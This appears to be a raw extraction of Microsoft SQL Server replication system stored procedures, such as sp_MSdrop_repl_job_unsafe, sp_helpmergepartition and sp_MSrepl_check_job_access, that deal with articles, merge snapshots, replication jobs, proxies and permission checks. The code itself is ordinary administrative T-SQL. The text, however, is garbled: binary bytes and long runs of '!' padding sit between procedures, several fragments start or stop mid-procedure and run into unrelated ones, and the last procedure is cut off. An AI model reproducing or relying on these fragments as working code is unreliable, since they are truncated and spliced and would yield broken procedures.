    if @publication_id is NULL
    begin
        raiserror(20026, 16, -1, @publication)
        return (1)
    end

    -- Make sure article exists
    declare @source_object sysname
    select @article_id = article_id, @source_object = source_object
        from MSarticles where 
        publication_id = @publication_id and
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db and 
        article = @article
    if @article_id is NULL
    begin
        if @thirdparty_flag = 1
        begin
            raiserror(20027, 16, -1, @article)
            return (1)
        end
        else
            return (0)
    end

    -- Check to make sure that there are no subscriptions on the article
    if exists (select * from dbo.MSsubscriptions where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication_id = @publication_id and
        article_id = @article_id and
        subscriber_id >= 0)             -- ignore virtual subscriptions
    begin
        raiserror(14046, 16, -1)
        return(1)
    end

    begin tran
    save tran MSdrop_article

    if @immediate_sync = 1
    begin
        -- For immediate sync subscriptions, we may need to adjust the
        -- article ids of the snapshot header or trailer commands

        declare @min_artid int
        declare @new_min_artid int
        declare @snapshot_bit int
        set @snapshot_bit = 0x80000000

        select @min_artid = min(article_id) 
          from MSarticles
         where publication_id = @publication_id
           and publisher_id = @publisher_id
           and publisher_db = @publisher_db
        if @@error <> 0
        begin
            if @@trancount > 0
            begin
                rollback tran MSdrop_article
                commit tran
            end
            return (1)
        end

        if @min_artid = @article_id
        begin
            select @new_min_artid = min(article_id) 
              from MSarticles
             where publication_id = @publication_id
               and publisher_id = @publisher_id
               and publisher_db = @publisher_db
               and article_id > @min_artid
            if @@error <> 0
            begin
                if @@trancount > 0
                begin
                    rollback tran MSdrop_article
                    commit tran
                end
                return (1)
            end

            if @new_min_artid is not null
            begin 
                update MSrepl_commands
                   set article_id = @new_min_artid
                 where article_id = @article_id
                   and publisher_database_id = (select id from MSpublisher_databases where publisher_id = @publisher_id and publisher_db = @publisher_db)
                   and (type & ~@snapshot_bit) in (25, 50, 51, 52, 53, 54, 55, 56 ,57, 58) -- Command type list must match that in sp_MSget_repl_commands
                if @@error <> 0
                begin
                    if @@trancount > 0
                    begin
                        rollback tran MSdrop_article
                        commit tran
                    end
                    return (1)
                end
            end
        end
    end

    -- For third party publications drop immediate sync and anonymous virtual subscriptions
    -- SQL Server publications will do this via RPC calls to sp_MSadd_subscription
    if @thirdparty_flag = 1 and @immediate_sync = 1
    begin
        begin
            exec @retcode = sys.sp_MSdrop_subscription
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @article_id = @article_id,
                @subscriber = NULL                  -- virtual subscription
            if @retcode <> 0 or @@error <> 0
            begin
                if @@trancount > 0
                begin
                    rollback tran MSdrop_article
                    commit tran
                end
                return (1)
            end
        end
    end

    delete from MSarticles where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication_id = @publication_id and
        article_id = @article_id
    if @@error <> 0
    begin
        if @@trancount > 0
        begin
            rollback tran MSdrop_article
            commit tran
        end
        return (1)
    end

	if not exists (select * from MSarticles  where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        source_object = @source_object)
	begin
		delete MSrepl_identity_range where 
            publisher = @publisher and
            publisher_db = @publisher_db and
            tablename = @source_object
		if @@ERROR <> 0 begin
			if @@trancount > 0
				ROLLBACK TRAN
			RETURN (1)
		end
	end

    commit tran
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!XtF`<W_	0eL@ G
8--
-- Name: sp_MSpurgepartialmergesnapshot
--
-- Description: This procedure is used for cleaning up the merge snapshot 
--              delivery progress and the associated merge meta-data for 
--              a specific publication.
--
-- Parameters: @pubid uniqueidentifier (mandatory)
--
-- Returns: 0 - succeeded
--          1 - failed
-- 
-- Security: This is an internal system object.
--
create procedure sys.sp_MSpurgepartialmergesnapshot (
    @pubid uniqueidentifier
    )
as
begin
    set nocount on
    declare @retcode int
    declare @transaction_opened bit
    declare @snapshot_session_token nvarchar(260)
    declare @snapshot_progress_token_hash int
    declare @snapshot_progress_token nvarchar(500)
    declare @pubidprefix nvarchar(100)

    select @retcode = 0
    select @transaction_opened = 0
    
    begin transaction
    save transaction sp_MSpurgepartialmergesnapshot
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    select @transaction_opened = 1
    
    if object_id('dbo.MSsnapshotdeliveryprogress', 'U') is not null
    begin
        select @snapshot_session_token = null
        select @pubidprefix = N'<MergePubId>:'
        select @snapshot_progress_token = @pubidprefix +  convert(nvarchar(100), @pubid)
        select @snapshot_progress_token_hash = sys.fn_repl32bitstringhash(@snapshot_progress_token)
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        
        select @snapshot_session_token = session_token 
          from dbo.MSsnapshotdeliveryprogress
         where progress_token_hash = @snapshot_progress_token_hash
           and progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

        if @snapshot_session_token is not null
        begin
            delete from dbo.MSsnapshotdeliveryprogress
             where session_token = @snapshot_session_token 
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        end    
    end    
        
    exec @retcode = sys.sp_MSCleanupForPullReinitWithPubId @pubid = @pubid
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    
    commit transaction
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    select @transaction_opened = 0    
 
Failure:
    
    if @transaction_opened = 1
    begin
        rollback transaction sp_MSpurgepartialmergesnapshot
        commit transaction 
    end
    return @retcode
end
0\V 8create procedure sys.sp_MSdrop_repl_job_unsafe
(
	@job_name		sysname = NULL,
	@job_id 		binary(16) = NULL,
	@job_step_uid	uniqueidentifier = NULL
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode			int,
			@command			nvarchar(4000),
			@credential 		sysname,
			@proxy_id			int,
			@subsystem_id		int,
			@flags				int,
			@sid				varbinary(85),
			@login				sysname
	
	SELECT @command				= NULL,
			@credential			= NULL,
			@proxy_id 			= NULL,
			@subsystem_id 		= NULL,
			@flags 				= NULL,
			@sid 				= NULL,
			@login				= NULL

    -- Return immediately if this is running on SQLExpress or SQLWeb
    IF (sys.fn_MSrepl_editionid () in (22, 40))
        RETURN 0
        
	BEGIN TRANSACTION tr_drop_repl_job_internal
	SAVE TRANSACTION tr_drop_repl_job_internal

	SELECT @credential = sc.name, 
			@proxy_id = sp.proxy_id,
			@subsystem_id = ss.subsystem_id,
			@flags = spl.flags,
			@sid = spl.sid
		FROM msdb.dbo.sysjobs_view as sjv 
			JOIN msdb.dbo.sysjobsteps as sjs 
				ON sjv.job_id = sjs.job_id
			JOIN msdb.dbo.sysproxies sp
				ON sjs.proxy_id = sp.proxy_id
			JOIN msdb.dbo.syssubsystems ss
				ON sjs.subsystem = ss.subsystem
			JOIN sys.credentials sc
				ON sp.credential_id = sc.credential_id
			-- left join since in sysadmin user case no proxylogin will be found
			LEFT JOIN msdb.dbo.sysproxylogin spl
				ON sp.proxy_id = spl.proxy_id
		WHERE sjv.master_server = 0
			AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
			AND (sjv.job_id = @job_id
					OR sjv.name = @job_name)
			AND sjs.step_uid = @job_step_uid
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	EXEC @retcode = msdb.dbo.sp_delete_job @job_name = @job_name, 
											@job_id = @job_id
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	-- we will not drop the proxy, proxy mappings etc if there's 
	-- still at least 1 job that's still using the given proxy id
	IF NOT EXISTS (SELECT *
					FROM msdb.dbo.sysjobsteps
					WHERE proxy_id = @proxy_id)
	BEGIN
		IF @proxy_id IS NOT NULL
		BEGIN
			CREATE TABLE #enm_login_for_proxy (proxy_id int, proxy_name sysname, flags int, name sysname NULL, sid varbinary(85), principal_id int NULL)
			
			INSERT INTO #enm_login_for_proxy
				EXEC msdb.dbo.sp_enum_login_for_proxy @proxy_id = @proxy_id

			SELECT @login = name
				FROM #enm_login_for_proxy
				WHERE proxy_id = @proxy_id 
					AND @sid IS NOT NULL
					AND sid = @sid

			DROP TABLE #enm_login_for_proxy
				
			IF @login IS NOT NULL
			BEGIN
				EXEC @retcode = msdb.dbo.sp_revoke_login_from_proxy @name = @login,
																	@proxy_id = @proxy_id
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO
			END

			IF @subsystem_id IS NOT NULL
				AND EXISTS (SELECT *
								FROM msdb.dbo.sysproxysubsystem
								WHERE proxy_id = @proxy_id
									AND subsystem_id = @subsystem_id)
			BEGIN
				EXEC @retcode = msdb.dbo.sp_revoke_proxy_from_subsystem @subsystem_id = @subsystem_id,
																		@proxy_id = @proxy_id
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO
			END

			IF EXISTS (SELECT *
						FROM msdb.dbo.sysproxies
						WHERE proxy_id = @proxy_id)
			BEGIN
				EXEC @retcode = msdb.dbo.sp_delete_proxy @proxy_id = @proxy_id
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO
			END
		END
		
		IF @credential IS NOT NULL
			AND EXISTS (SELECT *
							FROM sys.credentials
							WHERE name = @credential)
		BEGIN
			SELECT @command = N'DROP CREDENTIAL ' + QUOTENAME(@credential)

			EXEC(@command)
			IF @@ERROR <> 0 OR @retcode <> 0
				GOTO UNDO
		END
	END
	
	COMMIT TRANSACTION tr_drop_repl_job_internal

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_drop_repl_job_internal
	COMMIT TRANSACTION 
	
	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!
`
<SKϫ\0XZ 8create procedure sys.sp_droptype
	@typename sysname		-- the user type to drop
as
	
	declare @schid int

--  Find the user type with @typename.  It must be a user type (xusertype > 256)
--  and you must be db_owner, db_ddladmin or sa (covered by db_owner check) to
-- drop the type. Only types owned by dbo are accessible thru sp_droptype.
	select @schid = schema_id from sys.types
			where name = @typename and user_type_id > 256 and schema_id = 1
	if (@schid is null)
		begin
			raiserror(15036,-1,-1, @typename)
			return (1)
		end
		
	if (is_member('db_owner') = 0 AND
		is_member('db_ddladmin') = 0)
	begin
		raiserror(15036,-1,-1, @typename)
		return (1)
	end

	declare @stmt nvarchar(384)

	select @stmt = 'drop type [dbo].' + quotename(@typename)
		
	-- Drop user defined type
	EXEC(@stmt)

	return (@@error) -- sp_droptype
0^ 
8create procedure sys.sp_helpmergepartition (
        @publication sysname, 
        @suser_sname sysname = NULL,
        @host_name sysname = NULL) 
AS
begin
    declare @retcode int
    declare @uses_suser_sname bit
    declare @uses_host_name bit
    declare @pubid uniqueidentifier
    declare @command nvarchar(2000)
    
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1
        
    select @pubid = pubid from dbo.sysmergepublications     
                where name = @publication and
                    UPPER(publisher) = UPPER(publishingservername()) and
                    publisher_db = db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end
    
    if @suser_sname is NULL or ltrim(rtrim(@suser_sname)) = N''
        select @suser_sname = NULL
    if @host_name is NULL or ltrim(rtrim(@host_name)) = N''
        select @host_name = NULL
        
    exec @retcode = sys.sp_MSget_dynamic_filtering_information 
                        @pubid = @pubid, 
                        @uses_host_name = @uses_host_name OUTPUT,
                        @uses_suser_sname = @uses_suser_sname OUTPUT
    if @@error <> 0 or @retcode <> 0
        return 1

    -- if the publication does not use suser_sname for filtering and the user has specified
    -- a value for suser_sname raise an error.
    if @uses_suser_sname = 0 and @suser_sname is not NULL
    begin
        raiserror(20673, 16, -1)
        return 1
    end
    
    -- if the publication does not use host_name for filtering and the user has specified
    -- a value for host_name raise an error.
    if @uses_host_name = 0 and @host_name is not NULL
    begin
        raiserror(20672, 16, -1)
        return 1
    end
    
    select @command = 'select part.partition_id as partition,'
    
   if @uses_host_name = 1 and exists (select * from sys.columns where name = 'HOST_NAME_FN'
												and object_id = object_id('dbo.MSmerge_partition_groups'))
        select @command = @command + ' part.HOST_NAME_FN as host_name,'
    else
        select @command = @command + ' NULL as host_name,'

    if @uses_suser_sname = 1 and exists (select * from sys.columns where name = 'SUSER_SNAME_FN'
												and object_id = object_id('dbo.MSmerge_partition_groups'))
        select @command = @command + ' part.SUSER_SNAME_FN as suser_sname,'
    else
        select @command = @command + ' NULL as suser_sname,'

    select @command = @command + '
               dyn.dynamic_snapshot_location as dynamic_snaphsot_location,
               dyn.last_updated as date_refreshed,
               dynjobs.job_id as dynamic_snapshot_jobid
        from dbo.MSmerge_partition_groups part 
          inner join dbo.sysmergepublications pub on part.publication_number = pub.publication_number
          left outer join dbo.MSmerge_dynamic_snapshots dyn on part.partition_id = dyn.partition_id 
          left outer join dbo.MSdynamicsnapshotjobs dynjobs on part.partition_id = dynjobs.partition_id
        where pub.pubid = ''' + convert(nvarchar(36),@pubid) + ''''

    if @suser_sname is not NULL
        select @command = @command + ' and part.SUSER_SNAME_FN = ' + quotename(@suser_sname, '''') 
    if @host_name is not NULL
        select @command = @command + ' and part.HOST_NAME_FN = ' + quotename(@host_name, '''') 

    exec (@command)
end
th alter trigger trigger_name on [dest_owner].[dest_obj] as 
if UPPER(@objectType) = N'TRIGGER' and @targetobject is not NULL and len(@targetobject) > 0
begin 
	-- remove leading white space char
	declare @pos int
	select @pos=charindex(N'on ', @ddloffset)
	set @ddloffset = substring(@ddloffset, @pos, len(@ddloffset)-@pos+1) 
	
	set @ddloffset = ltrim(right(@ddloffset, len(@ddloffset) - len(N'on ')))

	set @trigger_dbname = isnull(parsename(@targetobject, 3), @dbname)
	set @trigger_owner = isnull(parsename(@targetobject, 2), @owner)
	set @trigger_objname = isnull(parsename(@targetobject, 1), @objname)
	
	set @ddloffset = sys.fn_replremovefullobj(@ddloffset, @trigger_dbname, @trigger_owner, @trigger_objname)
end
set @ddlcmd=@ddloffset
return 0
end
0N[c@ Z8create procedure sys.sp_MSget_repl_error 
(
    @id int
)
as
begin
    set nocount on
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    select  source_type_id, source_name, error_code, error_text, 
            sys.fn_replformatdatetime(time),
            error_type_id, 
			'has_xact_seqno' = case when xact_seqno is null or xact_seqno = 0x0
				then convert(bit, 0) else convert(bit, 1) end,
			xact_seqno, command_id
        from dbo.MSrepl_errors
        where
            id = @id and
            -- rows with error_type_id are placeholders
            error_type_id IS NOT NULL
        order by time ASC
end
03f D8UhK	 _pub = 1)
    begin
        select @cmd = @cmd + N'     
            ,@QFirstPass = 1
            ,@QPubWins  = 2
            ,@QSubWins = 3
            ,@QReinit = 4
'
    end    
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- script initialization of identity specific local variables
    --
    if (@identity_insert = 1)
    begin
        select @cmd = N'
            ,@iderror = 0'
        insert into #proctext(procedure_text) values(@cmd)
    end
    --
    -- all done
    --
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
G	
`O<S}S0S{@ 8--
-- Name: 
--		sp_MSrepl_check_job_access
-- 
-- Description: 
--		This procedure should be used to validate wether the current
--		user in the current database has permission to access the 
--		job identified by the job @id/@name and @step_id/@step_uid.
--  
-- Parameters: 
--		See definition
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Procedure is NOT PUBLIC so there are no security checks.
--
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSrepl_check_job_access
(
	@id 			uniqueidentifier	= NULL,
	@name			sysname				= NULL,
	@step_id		int					= NULL,
	@step_uid		uniqueidentifier	= NULL,
	@err_not_found	bit					= 1,
	@job_found		bit					= 0 OUTPUT
)
AS
BEGIN
	DECLARE @category_id	int,
			@subsystem		sysname,
			@database		sysname,
			@owner_sid		varbinary(85)
	
	SELECT @category_id 	= NULL,
			@subsystem 		= NULL,
			@database 		= NULL,
			@job_found		= 0

	-- Retrieve the JOB Category and Owner ID
	SELECT @owner_sid = owner_sid,
			@category_id = category_id
		FROM msdb.dbo.sysjobs
		WHERE job_id = @id
			OR name = @name

	-- Verify that the job was found
	IF @@ROWCOUNT < 1
	BEGIN
		IF @err_not_found = 1
		BEGIN
			DECLARE @str_id sysname

			SELECT @str_id = 'id = ' + CONVERT(nvarchar(36), @id)
				
			-- The specified job ('id = 4905f53c-903f-4e41-ad22-7f4c2982d9a1') does not exist.
			RAISERROR(14262, 16, -1, 'job', @str_id)
			RETURN 1
		END
		ELSE
		BEGIN
			-- exit without error 
			RETURN 0
		END
	END

	SELECT @job_found = 1
		
	-- Retrieve the JOB Subsystem and Database
	SELECT @subsystem = sjs.subsystem,
				@database = sjs.database_name
			FROM msdb.dbo.sysjobs as sj 
				JOIN msdb.dbo.sysjobsteps as sjs 
					ON sj.job_id = sjs.job_id 
			WHERE (sj.job_id = @id
					OR sj.name = @name)
				AND sjs.step_uid = ISNULL(@step_uid, sjs.step_uid)
				AND sjs.step_id = ISNULL(@step_id, sjs.step_id)
				AND ((sj.category_id = 10
						AND sjs.subsystem = N'Distribution')
					OR (sj.category_id = 14
						AND sjs.subsystem = N'Merge')
					OR (sj.category_id = 13
						AND sjs.subsystem = N'LogReader')
					OR (sj.category_id = 15
						AND sjs.subsystem =  N'Snapshot')
					OR (sj.category_id = 19
						AND sjs.subsystem = N'QueueReader')
					OR (@category_id IN (18, 16, 11, 12, 20, 17)
						AND sjs.subsystem = N'TSQL'))

	-- if current user is the owner of the job then all we can 
	-- skip straight to ensuring this is a replication job... if
	-- not then we need to do some more verification before hand
	IF @owner_sid != SUSER_SID()
	BEGIN
		-- NOTE 1 : For the replagents we check the database name to 
		-- ensure that the user is attempting to change a job related  
		-- to the current db. All replagent job's relate to current db
		-- they must also be at least a dbo_owner of the current db...
		IF @category_id IN (10, 13, 14, 15, 19)
			AND NOT (@database = DB_NAME()
				AND IS_MEMBER('db_owner') = 1)
		BEGIN
			-- User does not have permission to perform this action.
			RAISERROR(15247, 16, -1)
			RETURN 1
		END
		
		-- NOTE 2 : For these cleanup jobs we expect the 
		-- calling user to be a sysadmin or else we fail 
		--
		-- 18	= REPL-Alert Response
		-- 16	= REPL-Checkup
		-- 11	= REPL-Distribution Cleanup
		-- 12	= REPL-History Cleanup
		-- 20	= Replication
		-- 17	= REPL-Subscription Cleanup
		IF @category_id IN (18, 16, 11, 12, 20, 17)
			AND IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation.
			RAISERROR(21089,16,-1) 
			RETURN 1
		END
	END
	
	-- Verify that the job to be modified is a repl job
	IF NOT (@category_id = 10
				AND @subsystem = N'Distribution')
		AND NOT (@category_id = 14
			AND @subsystem = N'Merge')
		AND NOT (@category_id = 13
			AND @subsystem = N'LogReader')
		AND NOT (@category_id = 15
			AND @subsystem =  N'Snapshot')
		AND NOT (@category_id = 19
			AND @subsystem = N'QueueReader')
		-- 18	= REPL-Alert Response
		-- 16	= REPL-Checkup
		-- 11	= REPL-Distribution Cleanup
		-- 12	= REPL-History Cleanup
		-- 20	= Replication
		-- 17	= REPL-Subscription Cleanup
		AND NOT (@category_id IN (18, 16, 11, 12, 20, 17)
			AND @subsystem = N'TSQL')
	BEGIN
		-- Only replication jobs or job schedules can be added, modified, dropped or viewed through replication stored procedures.
		RAISERROR(22538, 16, -1)
		RETURN 1
	END

	RETURN 0
END
0q 8CREATE PROCEDURE sys.sp_MSdrop_snapshot_dirs
as
begin
    declare @retcode int
    declare @snapshot_bit int
    declare @directory_type int
    declare @alt_directory_type int
    declare @publisher_database_id int

    declare @dir nvarchar(512)
    declare @command_id int
    declare @xact_seqno varbinary(16)

    select @snapshot_bit = 0x80000000
    select @directory_type = 7
    select @alt_directory_type = 25

    -- Sysadmin check
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    --
    -- security check
    -- sysadmin check is done in sp_MSreplremoveuncdir
    --
    declare  hCdirs  CURSOR LOCAL FAST_FORWARD FOR select CONVERT(nvarchar(512), command),
		xact_seqno, command_id, publisher_database_id
		from MSrepl_commands where
		((type & ~@snapshot_bit) = @directory_type) or
        ((type & ~@snapshot_bit) = @alt_directory_type)
	for read only

    open hCdirs
    fetch hCdirs into @dir, @xact_seqno, @command_id, @publisher_database_id
    while (@@fetch_status <> -1)
    begin
        --
        -- Need to map unc to local drive for access problem
        -- Security check is done in sp_MSreplremoveuncdir
        --
        exec @retcode = sys.sp_MSreplremoveuncdir @dir
        /* Abort the operation if the delete fails */
        if (@retcode <> 0 or @@error <> 0)
            return (1)

        delete MSrepl_commands where 
        	publisher_database_id = @publisher_database_id and
        	xact_seqno = @xact_seqno and
        	command_id = @command_id

        fetch hCdirs into @dir, @xact_seqno, @command_id, @publisher_database_id
    end
    close hCdirs
    deallocate hCdirs
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q`G	<mA#N]0xc 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_catalogs_rowset;2
(
    @dummy      int = null -- Backward compatibility (for pre-9.0 clients)
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CATALOG_NAME    = name,
        DESCRIPTION     = convert(nvarchar(1),null)
    from
        sys.databases
    where
        has_dbaccess(name)=1 OR serverproperty('EngineEdition') = 5
    order by 1
0xc 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_catalogs_rowset;5
    (
    @server_name    sysname,
    @catalog_name   sysname = NULL
    )
as
    select
        CATALOG_NAME,
        DESCRIPTION
    from
        sys.fn_remote_catalogs (@server_name, @catalog_name)
    where
        has_dbaccess(CATALOG_NAME)=1
    order by 1
07 H	8create proc sys.sp_MScleanup_subscription_distside_entry 
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,
    @subscriber_db sysname
as 
begin

    declare @min_valid_day 		datetime
    , @publisher_id 		int
    , @publication_id		int
    , @retention 			int
    , @agent_id			int
    , @retcode int
    , @retention_period_unit tinyint

    -- Security Check: require sysadmin/dbo of dist 
    IF IS_MEMBER('db_owner') != 1
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN 1
    END

    -- database must be distribution db
    IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
    BEGIN
        RAISERROR (21482, 16, -1, 'sp_MScleanup_subscription_distside_entry', 'distribution')
        RETURN 1
    END

    select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher) 
    if @publisher_id is NULL
        return 0
        
    select @publication_id = publication_id, @retention = retention, @retention_period_unit = retention_period_unit
        from dbo.MSpublications
        where publisher_id = @publisher_id
        and publisher_db = @publisher_db
        and publication = @publication
        and publication_type = 2
        and retention<>0
        
    if @publication_id is null
        return 0

    select @min_valid_day = sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())

    select @agent_id = msa.id from dbo.MSmerge_agents msa
    where msa.creation_date < @min_valid_day
    and msa.publisher_id = @publisher_id
    and msa.publisher_db = @publisher_db
    and msa.publication = @publication   
    and upper(msa.subscriber_name) = upper(@subscriber) collate database_default
    and msa.subscriber_db = @subscriber_db
       
    if @agent_id is not null and not exists (
                                                select * from dbo.MSmerge_sessions sess
                                                where sess.agent_id = @agent_id
                                                and sess.end_time > @min_valid_day
                                            )
    begin
        exec @retcode = sys.sp_MSdrop_merge_agentid @agent_id
        if @retcode <> 0 or @@error <> 0
            return 1
    end
    
    return 0
end
 PAL role membership check for specific transactional publication
        --
        if exists (select * from sys.database_role_members
            where role_principal_id = (select principal_id 
                                                    from sys.database_principals 
                                                    where name = N'MSReplPAL_' + cast(db_id() as nvarchar(10)) + N'_' + cast(@tranpubid as nvarchar(10)) )
                and member_principal_id = (select dp.principal_id
                                                        from sys.database_principals as dp join master.dbo.syslogins as s
                                                        on dp.sid = s.sid
                                                        and s.name = @login))
        begin
            --
            -- has access
            --
            select @fret = 1
        end
    end
    --
    -- all done
    --
    return @fret
end
0i˼ s
8
--
-- Name:
--		sp_ORAXactSetJob
--
-- Description:
--		Manage the Oracle XactSet Job
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@enabled		== enabled flag
--		@interval		== minutes between job execution
--		@threshold		== changes needed to force new interval
--		@LRinterval		== minutes between job execution when log reader is active
--		@LRthreshold	== changes needed to force new interval when log reader is active
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_ORAXactSetJob
(
	@publisher		sysname,
	@enabled		bit = NULL,
	@interval		int = NULL,
	@threshold		int = NULL,
	@LRinterval		int = NULL,
	@LRthreshold	int = NULL
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @cmd			nvarchar(400)
	DECLARE	@InsColumnList		nvarchar(200)
	DECLARE	@SelectColumnList	nvarchar(200)
	
	SET NOCOUNT ON

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
